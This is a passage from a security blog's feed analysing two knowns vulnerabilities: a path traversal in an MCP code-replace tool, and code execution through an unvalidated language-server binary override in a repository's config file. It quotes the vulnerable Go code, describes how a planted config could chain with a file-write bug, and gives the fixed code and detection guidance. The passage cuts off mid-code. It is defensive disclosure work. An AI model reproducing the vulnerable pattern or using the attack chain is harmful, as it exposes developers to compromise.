class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ResolveProject resolves a project path inside root. Native absolute paths</span></span><br><span class="line"><span class="comment">// are accepted only when they still resolve inside root.</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">ResolveProject</span><span class="params">(root, untrusted <span class="type">string</span>)</span></span> (<span class="type">string</span>, <span class="type">error</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> resolve(root, untrusted, <span class="literal">true</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ResolveProjectReal is ResolveProject plus canonical symlink resolution. It</span></span><br><span class="line"><span class="comment">// is useful when callers must enforce policy against the final target path.</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">ResolveProjectReal</span><span class="params">(root, untrusted <span class="type">string</span>)</span></span> (<span class="type">string</span>, <span class="type">error</span>) &#123;</span><br><span class="line">path, err := resolve(root, untrusted, <span class="literal">true</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="string">&quot;&quot;</span>, err</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> resolveProspectivePath(path)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>That distinction is the well-designed part of the patch. The requirement was never “reject absolute paths”; it was “the final target must be inside the root”. Expressing it that way keeps the feature working while making the unsafe case impossible.</p><p><code>ensureCodeMutationPath</code> then resolves symlinks with <code>filepath.EvalSymlinks</code> and re-checks containment against the real root, so a link planted inside the project cannot redirect a write outside it. The same commit applies both checks to <code>lspPathRequest</code> and <code>handleCodeRename</code>, and threads the project root into <code>applyWorkspaceEdit(projectRoot(store), changes)</code> so LSP-driven multi-file edits are contained as well.</p><p>Separately, the commit adds <code>confirmed</code> and <code>reason</code> arguments to the code tool for <code>action=delete</code>, so destructive operations require explicit acknowledgement rather than inheriting the same path as an edit.</p><h3 id="Defense-in-depth"><a href="#Defense-in-depth" class="headerlink" title="Defense in depth"></a>Defense in depth</h3><ul><li>Do not auto-approve MCP code-mutation tools; require confirmation that shows the resolved absolute path, not the argument as supplied.</li><li>Run assistants against a filesystem boundary enforced by the OS — container, dedicated user, or sandbox — so an application-level containment bug is not the only control.</li><li>Keep SSH keys, cloud credentials, and shell startup files outside the reach of tooling that edits code, where your workflow allows it.</li><li>Enable file integrity monitoring on the small set of files that grant execution or access: shell rc files, SSH config, git hooks, editor startup configuration.</li><li>Review AI-generated diffs against the <em>set of files touched</em> before reviewing their contents; an unexpected path is faster to spot than an unexpected line.</li></ul><h2 id="Timeline"><a href="#Timeline" class="headerlink" title="Timeline"></a>Timeline</h2><table><thead><tr><th>Date</th><th>Event</th><th>Source certainty</th></tr></thead><tbody><tr><td>2026-08-15</td><td>Fix commit <code>a2c98fc5c313</code> authored in the knowns repository</td><td>Repository metadata</td></tr><tr><td>2026-08-16</td><td>Public disclosure date recorded on the CVE record</td><td>CVE record <code>datePublic</code></td></tr><tr><td>2026-09-07</td><td>CVE-2026-86541 reserved and published</td><td>CVE record metadata</td></tr><tr><td>2026-09-08</td><td>This analysis published</td><td>This site</td></tr></tbody></table><h2 id="Lessons-for-builders"><a href="#Lessons-for-builders" class="headerlink" title="Lessons for builders"></a>Lessons for builders</h2><h3 id="Resolving-a-path-is-not-authorising-it"><a href="#Resolving-a-path-is-not-authorising-it" class="headerlink" title="Resolving a path is not authorising it"></a>Resolving a path is not authorising it</h3><p><code>if !filepath.IsAbs(p) &#123; p = filepath.Join(root, p) &#125;</code> answers “where does this point?” and never asks “is the caller allowed to write there?”. Those are two operations. Write them as two, or use one function whose contract covers both.</p><h3 id="Accepting-absolute-paths-is-fine-trusting-them-is-not"><a href="#Accepting-absolute-paths-is-fine-trusting-them-is-not" class="headerlink" title="Accepting absolute paths is fine; trusting them is not"></a>Accepting absolute paths is fine; trusting them is not</h3><p>The fix did not remove the capability. <code>ResolveProject</code> accepts absolute input and verifies containment. Prefer that shape over a blanket rejection — it keeps legitimate workflows working and removes the temptation to add an unchecked bypass later.</p><h3 id="Resolve-symlinks-before-enforcing-policy"><a href="#Resolve-symlinks-before-enforcing-policy" class="headerlink" title="Resolve symlinks before enforcing policy"></a>Resolve symlinks before enforcing policy</h3><p>Lexical containment is necessary and insufficient. If the write matters, canonicalise with <code>EvalSymlinks</code> and check the real path, as <code>ensureCodeMutationPath</code> does.</p><h3 id="Copied-idioms-copy-their-bugs"><a href="#Copied-idioms-copy-their-bugs" class="headerlink" title="Copied idioms copy their bugs"></a>Copied idioms copy their bugs</h3><p>The same four lines appeared across several handlers, so one review miss became five vulnerable entry points. When you find a path bug, grep for the idiom rather than fixing the reported call site.</p><h3 id="Two-weak-layers-can-fail-as-one"><a href="#Two-weak-layers-can-fail-as-one" class="headerlink" title="Two weak layers can fail as one"></a>Two weak layers can fail as one</h3><p><code>code.replace</code> was both misclassified and uncontained. Neither the permission gate nor the path check stopped the write. When reviewing a mutating operation, verify each layer independently — a control you assume is upstream may be gating the wrong verb.</p><h2 id="Related-advisories-in-this-set"><a href="#Related-advisories-in-this-set" class="headerlink" title="Related advisories in this set"></a>Related advisories in this set</h2><ul><li><a href="/posts/2026/09/cve-2026-86544-knowns-authorization-bypass-code-actions/">CVE-2026-86544</a> — the classification half of this pair, fixed in the same commit</li><li><a href="/posts/2026/09/cve-2026-86439-knowns-path-traversal-mcp-doc-memory/">CVE-2026-86439</a> — path traversal through MCP doc and memory tools</li><li><a href="/posts/2026/09/cve-2026-86543-knowns-unauthenticated-management-api/">CVE-2026-86543</a> — unauthenticated management API exposure</li><li><a href="/posts/2026/09/cve-2026-86538-knowns-path-traversal-template-preview/">CVE-2026-86538</a> — unauthenticated arbitrary file read via <code>templateFile</code></li><li><a href="/posts/2026/09/cve-2026-86542-knowns-path-traversal-import-name/">CVE-2026-86542</a> — unauthenticated arbitrary file write via import name</li><li><a href="/posts/2026/09/cve-2026-86540-knowns-arbitrary-code-execution-lsp-binary/">CVE-2026-86540</a> — arbitrary code execution via the LSP binary override</li><li><a href="/posts/2026/09/cve-2026-86775-knowns-path-traversal-document-api/">CVE-2026-86775</a> — unauthenticated path traversal through the HTTP Document API</li></ul><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-86541">CVE.org record: CVE-2026-86541</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-86541">NIST National Vulnerability Database: CVE-2026-86541</a></li><li><a href="https://github.com/knowns-dev/knowns/security/advisories/GHSA-f539-xgc6-xw7q">GitHub Security Advisory: GHSA-f539-xgc6-xw7q</a></li><li><a href="https://www.vulncheck.com/advisories/knowns-before-0.30.0-path-traversal-via-code-replace-mcp-action">VulnCheck advisory</a></li><li><a href="https://github.com/knowns-dev/knowns/blob/v0.29.1/internal/mcp/handlers/code.go#L588-L646"><code>handleCodeReplace</code> at v0.29.1</a></li><li><a href="https://github.com/knowns-dev/knowns/commit/a2c98fc5c313463576c9348beeec6a74ddd7333b">Fix commit <code>a2c98fc5c313</code></a></li><li><a href="https://github.com/knowns-dev/knowns/releases/tag/v0.30.0">knowns v0.30.0 release notes</a></li></ul><p>Reported by Tong Hoang Gia and Nguyen Huy Hoang. Recheck the primary sources above during remediation; public vulnerability records are frequently revised after publication.</p>]]></content>
    
    
    <summary type="html">CVE-2026-86541 affects knowns before 0.30.0: handleCodeReplace resolves and writes a caller-supplied path with no containment, allowing writes outside the project root. Upgrade to 0.30.0.</summary>
    
    
    
    <category term="Research" scheme="https://blog.nhhoang.io.vn/categories/Research/"/>
    
    <category term="Vulnerability Research" scheme="https://blog.nhhoang.io.vn/categories/Research/Vulnerability-Research/"/>
    
    
    <category term="ai-security" scheme="https://blog.nhhoang.io.vn/tags/ai-security/"/>
    
    <category term="cve" scheme="https://blog.nhhoang.io.vn/tags/cve/"/>
    
    <category term="mcp" scheme="https://blog.nhhoang.io.vn/tags/mcp/"/>
    
    <category term="knowns" scheme="https://blog.nhhoang.io.vn/tags/knowns/"/>
    
    <category term="path-traversal" scheme="https://blog.nhhoang.io.vn/tags/path-traversal/"/>
    
    <category term="prompt-injection" scheme="https://blog.nhhoang.io.vn/tags/prompt-injection/"/>
    
    <category term="golang" scheme="https://blog.nhhoang.io.vn/tags/golang/"/>
    
    <category term="cwe-22" scheme="https://blog.nhhoang.io.vn/tags/cwe-22/"/>
    
    <category term="arbitrary-file-write" scheme="https://blog.nhhoang.io.vn/tags/arbitrary-file-write/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2026-86540: knowns Arbitrary Code Execution via the LSP Binary Override</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/09/cve-2026-86540-knowns-arbitrary-code-execution-lsp-binary/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/09/cve-2026-86540-knowns-arbitrary-code-execution-lsp-binary/</id>
    <published>2026-09-08T03:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.496Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Scope and safety.</strong> This article analyses a fixed, publicly disclosed vulnerability using the vendor’s own published source references. It describes the defective control flow and the remediation. It does not include a malicious configuration file, command payloads, or a runnable proof of concept.</p></blockquote><h2 id="Executive-summary"><a href="#Executive-summary" class="headerlink" title="Executive summary"></a>Executive summary</h2><p>CVE-2026-86540 is an arbitrary code execution vulnerability in <a href="https://github.com/knowns-dev/knowns">knowns</a> before 0.30.0. Project configuration files (<code>.knowns/config.json</code>) may specify a language-server binary override through <code>settings.lsp.languages[].binary</code>. That field was never validated. When a repository containing a crafted configuration was opened, the named binary was resolved and executed under the user’s account — twice, once for the capability check and once when the language server was started.</p><p>The weakness is classified as <strong>CWE-78: Improper Neutralization of Special Elements used in an OS Command</strong>. The vendor scores it <strong>CVSS 4.0 8.5 High</strong> (<code>CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</code>) and <strong>CVSS 3.1 7.8 High</strong> (<code>CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</code>).</p><p>This is the “malicious repository, hostile on open” class — the same shape as workspace-trust bugs in IDEs and editors, where a checked-in configuration file is honoured before the user has read a single line of the project. It is also the payoff step for <a href="/posts/2026/09/cve-2026-86542-knowns-path-traversal-import-name/">CVE-2026-86542</a>: an unauthenticated attacker who can write a file can plant a <code>.knowns/config.json</code> and wait.</p><p>Fixed in <strong>knowns 0.30.0</strong> by commit <a href="https://github.com/knowns-dev/knowns/commit/d3989829fb5095666d23d005b2f78a082832a396"><code>d3989829fb50</code></a>.</p><p><strong>Evidence labels used below:</strong></p><ul><li><strong>Verified</strong> means stated by the CVE record, the GitHub Security Advisory, or the project’s published source and release material.</li><li><strong>Inferred</strong> means a consequence derived from those facts and clearly marked as such.</li></ul><h2 id="Key-facts"><a href="#Key-facts" class="headerlink" title="Key facts"></a>Key facts</h2><table><thead><tr><th>Item</th><th>Finding</th><th>Confidence</th></tr></thead><tbody><tr><td>Identifier</td><td>CVE-2026-86540</td><td>Verified</td></tr><tr><td>Advisory</td><td>GHSA-mc52-mwq4-vfx3</td><td>Verified</td></tr><tr><td>Product</td><td>knowns (<code>pkg:npm/knowns</code>, Go implementation)</td><td>Verified</td></tr><tr><td>Affected versions</td><td>All versions before 0.30.0</td><td>Verified</td></tr><tr><td>Fixed version</td><td>0.30.0</td><td>Verified</td></tr><tr><td>Weakness</td><td>OS command execution, CWE-78</td><td>Verified</td></tr><tr><td>Entry point</td><td><code>settings.lsp.languages[].binary</code> in <code>.knowns/config.json</code></td><td>Verified</td></tr><tr><td>Trigger</td><td>Opening a repository containing a crafted configuration</td><td>Verified</td></tr><tr><td>Executions</td><td>Twice, under the user’s account, without verification</td><td>Verified</td></tr><tr><td>CVSS 4.0</td><td>8.5 High</td><td>Verified</td></tr><tr><td>CVSS 3.1</td><td>7.8 High</td><td>Verified</td></tr><tr><td>Reporters</td><td>Tong Hoang Gia, Nguyen Huy Hoang</td><td>Verified</td></tr><tr><td>Fix commit</td><td><code>d3989829fb5095666d23d005b2f78a082832a396</code></td><td>Verified</td></tr></tbody></table><h2 id="Why-“opening-a-project”-is-a-security-event"><a href="#Why-“opening-a-project”-is-a-security-event" class="headerlink" title="Why “opening a project” is a security event"></a>Why “opening a project” is a security event</h2><p>Modern developer tooling reads a great deal of configuration out of the repository itself, and that is a genuinely useful design: the project describes how it wants to be built, linted, formatted, and analysed. The trouble is that a repository is untrusted input until somebody has read it, and cloning is not reading.</p><p>Developers clone untrusted repositories constantly and for entirely legitimate reasons: reviewing a pull request from an external contributor, reproducing a bug report, evaluating a dependency, triaging a security report, forking an example. In every one of those cases, the ordinary workflow is <em>clone first, read second</em>. Any tool that acts on repository-supplied configuration before that second step has inverted the trust order.</p><p>The editor ecosystem learned this the hard way and responded with workspace trust prompts. <strong>Inferred:</strong> AI-oriented developer tooling is now re-encountering the same class, and often without the prompt, because these tools are designed to reduce the number of moments where a human is asked to confirm something.</p><p>The AI angle sharpens it further. A coding assistant’s value proposition is that it opens a project and immediately starts understanding it. That is precisely the behaviour that turns repository-supplied configuration into an execution trigger, and it happens in the window where the developer is least likely to be looking.</p><h2 id="Root-cause-analysis"><a href="#Root-cause-analysis" class="headerlink" title="Root-cause analysis"></a>Root-cause analysis</h2><h3 id="The-override-is-trusted-verbatim"><a href="#The-override-is-trusted-verbatim" class="headerlink" title="The override is trusted verbatim"></a>The override is trusted verbatim</h3><p>From <code>internal/lsp/detect.go</code> at v0.29.1:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(d *Detector)</span></span> resolve(ctx context.Context, root <span class="type">string</span>, lang Language, override <span class="type">string</span>) (ServerCommand, <span class="type">bool</span>) &#123;</span><br><span class="line">binaries := lang.Binaries</span><br><span class="line"><span class="keyword">if</span> override != <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line">binary := Binary&#123;Name: override&#125;</span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(binaries) &gt; <span class="number">0</span> &#123;</span><br><span class="line">binary.CheckArgs = <span class="built_in">append</span>([]<span class="type">string</span>(<span class="literal">nil</span>), binaries[<span class="number">0</span>].CheckArgs...)</span><br><span class="line">&#125;</span><br><span class="line">binaries = []Binary&#123;binary&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">for</span> _, binary := <span class="keyword">range</span> binaries &#123;</span><br><span class="line">path, err := d.LookPath(binary.Name)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">continue</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> d.RunCheck != <span class="literal">nil</span> &amp;&amp; <span class="built_in">len</span>(binary.CheckArgs) &gt; <span class="number">0</span> &#123;</span><br><span class="line">checkCtx, cancel := context.WithTimeout(ctx, <span class="number">2</span>*time.Second)</span><br><span class="line">err = d.RunCheck(checkCtx, path, binary.CheckArgs...)</span><br><span class="line">cancel()</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">continue</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> ServerCommand&#123;Language: lang.ID, Name: binary.Name, Path: path, Args: <span class="built_in">append</span>([]<span class="type">string</span>(<span class="literal">nil</span>), binary.Args...), LogPath: LanguageLogPath(root, lang.ID)&#125;, <span class="literal">true</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> ServerCommand&#123;&#125;, <span class="literal">false</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The critical line is the first one inside the <code>if</code>:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">binary := Binary&#123;Name: override&#125;</span><br></pre></td></tr></table></figure><p><code>lang.Binaries</code> is the curated list of language servers the adapter knows about — a natural allowlist that already exists in the code. When an override is present, that list is <em>discarded</em> and replaced with a single entry whose name came from the project’s configuration file. The allowlist is right there and is bypassed rather than consulted.</p><p>The override then inherits <code>CheckArgs</code> from the first known binary, which is how the arguments for the check invocation get supplied even though the binary itself is unknown.</p><h3 id="Execution-happens-twice"><a href="#Execution-happens-twice" class="headerlink" title="Execution happens twice"></a>Execution happens twice</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">runVersionCheck</span><span class="params">(ctx context.Context, path <span class="type">string</span>, args ...<span class="type">string</span>)</span></span> <span class="type">error</span> &#123;</span><br><span class="line">cmd := knownsprocess.CommandContext(ctx, path, args...)</span><br><span class="line"><span class="keyword">return</span> cmd.Run()</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The first execution is the capability check — <code>RunCheck</code> runs the binary with the inherited arguments to confirm it works. The second is the language server start, once <code>resolve</code> returns a <code>ServerCommand</code> and the manager launches it.</p><p><strong>Inferred:</strong> the check invocation is the more interesting of the two, because it is <em>supposed</em> to be a probe. It carries a two-second timeout, which reads like a safety measure, and against a hostile binary it is not one. Two seconds is ample to spawn a detached child, and a process the caller starts is not bounded by the caller’s context after it detaches. Design intent — “this is only a quick version check” — has no bearing on what the executed program actually does.</p><p><code>Manager.StartLanguage</code> contained the same construction on the runtime path:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> override := m.config.BinaryOverride(langID); override != <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line">binaries = []BinaryCandidate&#123;&#123;Name: override&#125;&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="There-is-no-shell-and-it-does-not-help"><a href="#There-is-no-shell-and-it-does-not-help" class="headerlink" title="There is no shell, and it does not help"></a>There is no shell, and it does not help</h3><p><code>knownsprocess.CommandContext</code> executes a program directly; there is no shell interpretation, so classic metacharacter injection does not apply. That is why the interesting field is the program name rather than the arguments.</p><p>It is worth being clear that this does not reduce the severity. CWE-78 is assigned because untrusted data determines what program runs. Whether a shell is involved changes the exploitation technique, not the outcome. The attacker does not need to inject a command into a command line when they can simply name the program.</p><p><code>d.LookPath</code> resolves the name. Go’s standard library resolves a bare name against <code>PATH</code> and treats a name containing a path separator as a direct filesystem reference. <strong>Inferred:</strong> that means the override does not have to name something already installed — a reference to an executable carried inside the repository being opened would resolve, which is what makes the malicious-repository scenario self-contained.</p><h3 id="Validation-existed-and-looked-elsewhere"><a href="#Validation-existed-and-looked-elsewhere" class="headerlink" title="Validation existed, and looked elsewhere"></a>Validation existed, and looked elsewhere</h3><p>From <code>internal/models/config.go</code> at v0.29.1:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Validate rejects malformed lifecycle durations while permitting zero delay.</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(s ProjectSettings)</span></span> Validate() <span class="type">error</span> &#123;</span><br><span class="line">settings := s.EffectiveTaskLifecycle()</span><br><span class="line"><span class="keyword">if</span> _, err := ParseTaskLifecycleDuration(settings.ArchiveAfter); err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> fmt.Errorf(<span class="string">&quot;settings.taskLifecycle.archiveAfter: %w&quot;</span>, err)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> settings.PurgeAfter != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">if</span> _, err := ParseTaskLifecycleDuration(*settings.PurgeAfter); err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> fmt.Errorf(<span class="string">&quot;settings.taskLifecycle.purgeAfter: %w&quot;</span>, err)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>ProjectSettings.Validate</code> is the obvious place a reviewer would look to confirm that project settings are checked. It validates duration strings and nothing else. A function named <code>Validate</code> that covers one field creates a false impression of coverage — arguably a worse position than having no validation function at all, because it answers the reviewer’s question with a reassuring “yes”.</p><h3 id="The-trust-boundary"><a href="#The-trust-boundary" class="headerlink" title="The trust boundary"></a>The trust boundary</h3><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">Repository from an untrusted source</span><br><span class="line">        |</span><br><span class="line">        | .knowns/config.json</span><br><span class="line">        v</span><br><span class="line">Project settings loader</span><br><span class="line">        |</span><br><span class="line">        | settings.lsp.languages[].binary   &lt;-- ProjectSettings.Validate ignores this field</span><br><span class="line">        v</span><br><span class="line">Detector.resolve</span><br><span class="line">        |</span><br><span class="line">        | binaries = []Binary&#123;&#123;Name: override&#125;&#125;   &lt;-- known-good list discarded</span><br><span class="line">        v</span><br><span class="line">LookPath  -&gt;  RunCheck (execution #1)  -&gt;  server start (execution #2)</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">Developer&#x27;s user account, environment, credentials, and network position</span><br></pre></td></tr></table></figure><h2 id="Impact"><a href="#Impact" class="headerlink" title="Impact"></a>Impact</h2><h3 id="Verified-impact"><a href="#Verified-impact" class="headerlink" title="Verified impact"></a>Verified impact</h3><ul><li>Arbitrary binaries execute under the user’s account when a repository with a crafted configuration is opened.</li><li>No privileges are required beyond the victim opening the project (<code>PR:N</code>, <code>UI:P</code>&#x2F;<code>UI:R</code>).</li><li>Confidentiality, integrity, and availability impacts are all rated High.</li><li>Execution occurs twice and without any verification of the named binary.</li></ul><h3 id="Deployment-dependent-consequences"><a href="#Deployment-dependent-consequences" class="headerlink" title="Deployment-dependent consequences"></a>Deployment-dependent consequences</h3><p>The following are <strong>inferred</strong>:</p><ul><li>full compromise of the developer’s account, including SSH keys, cloud credentials, tokens, and browser session material;</li><li>access to whatever the workstation can reach — internal services, VPN-routed networks, artefact registries, production consoles;</li><li>persistence via shell startup files, scheduled tasks, or tool configuration, established in the seconds after the repository is opened;</li><li>commit-signing and repository access abuse, turning workstation compromise into a supply-chain event;</li><li>execution on CI runners and shared development hosts, if automation opens untrusted repositories with knowns attached;</li><li>completion of a remote chain when combined with <a href="/posts/2026/09/cve-2026-86542-knowns-path-traversal-import-name/">CVE-2026-86542</a> — unauthenticated file write plants the configuration, this issue executes it.</li></ul><p><strong>Inferred:</strong> the review workflow is the highest-risk path in practice. Reviewing an external contribution means deliberately opening code from someone you do not trust; that is the whole point of the review. A tool that executes configuration on open turns the most security-conscious activity in the workflow into the delivery mechanism.</p><h2 id="Safe-validation-and-detection"><a href="#Safe-validation-and-detection" class="headerlink" title="Safe validation and detection"></a>Safe validation and detection</h2><h3 id="Inventory-and-configuration-review"><a href="#Inventory-and-configuration-review" class="headerlink" title="Inventory and configuration review"></a>Inventory and configuration review</h3><ol><li>Identify knowns installations and versions; anything before 0.30.0 is affected.</li><li>Search local repositories for <code>.knowns/config.json</code> files containing an LSP <code>binary</code> override, and compare each against what your team actually configured.</li><li>Pay particular attention to repositories cloned from external sources, forks, and pull-request checkouts.</li><li>Inspect any override that names a path rather than a familiar language-server binary.</li></ol><p>A non-invasive inventory sweep — this only reads and reports, it does not execute anything:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Locate LSP binary overrides in project configs for manual review.</span></span><br><span class="line">find . -name config.json -path <span class="string">&#x27;*/.knowns/*&#x27;</span> -print0 \</span><br><span class="line">  | xargs -0 grep -l <span class="string">&#x27;&quot;binary&quot;&#x27;</span> 2&gt;/dev/null</span><br></pre></td></tr></table></figure><p>Review each hit by hand. Do not open a suspicious repository with an affected version in order to test the behaviour.</p><h3 id="Telemetry-to-review"><a href="#Telemetry-to-review" class="headerlink" title="Telemetry to review"></a>Telemetry to review</h3><ul><li>process creation events where the knowns process, or a language-server manager, is the parent of an unexpected child;</li><li>short-lived child processes spawned within seconds of a project being opened;</li><li>executions of binaries located inside a repository working tree;</li><li>outbound network connections immediately following a clone or project-open action;</li><li>new persistence artefacts — shell rc changes, cron or systemd user units, login items — created around the same time;</li><li>language-server logs referencing a binary name that is not a known server for that language.</li></ul><p><strong>Inferred:</strong> parent-child process telemetry is the strongest signal, because the anomaly is structural rather than content-based. A documentation and context tool spawning an unrecognised executable is unusual regardless of what that executable does, and it does not depend on having captured the configuration file beforehand.</p><h2 id="Remediation-and-hardening"><a href="#Remediation-and-hardening" class="headerlink" title="Remediation and hardening"></a>Remediation and hardening</h2><h3 id="Required-remediation"><a href="#Required-remediation" class="headerlink" title="Required remediation"></a>Required remediation</h3><p>Upgrade to <strong>knowns 0.30.0 or later</strong>. The fix converts the override from a free-form name into a <em>selection</em> from the adapter’s registered binaries:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">selectBinaryOverride</span><span class="params">(override <span class="type">string</span>, candidates []Binary)</span></span> (Binary, <span class="type">error</span>) &#123;</span><br><span class="line"><span class="keyword">if</span> strings.TrimSpace(override) != override || override == <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line"><span class="keyword">return</span> Binary&#123;&#125;, invalidBinaryOverride(override)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">for</span> _, candidate := <span class="keyword">range</span> candidates &#123;</span><br><span class="line"><span class="keyword">if</span> candidate.Name == override &#123;</span><br><span class="line"><span class="keyword">return</span> candidate, <span class="literal">nil</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> Binary&#123;&#125;, invalidBinaryOverride(override)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">invalidBinaryOverride</span><span class="params">(override <span class="type">string</span>)</span></span> <span class="type">error</span> &#123;</span><br><span class="line"><span class="keyword">return</span> fmt.Errorf(<span class="string">&quot;binary override %q must match a registered language-server binary&quot;</span>, override)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>Detector.resolve</code> now fails closed rather than substituting:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> override != <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line">binary, err := selectBinaryOverride(override, binaries)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> ServerCommand&#123;&#125;, <span class="literal">false</span></span><br><span class="line">&#125;</span><br><span class="line">binaries = []Binary&#123;binary&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The manager gained a matching validator with an explicit statement of the rule:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ValidateBinaryOverride permits selecting only binaries declared by the</span></span><br><span class="line"><span class="comment">// registered language adapter. Arbitrary executable names and paths are never</span></span><br><span class="line"><span class="comment">// accepted from runtime configuration.</span></span><br><span class="line"><span class="function"><span 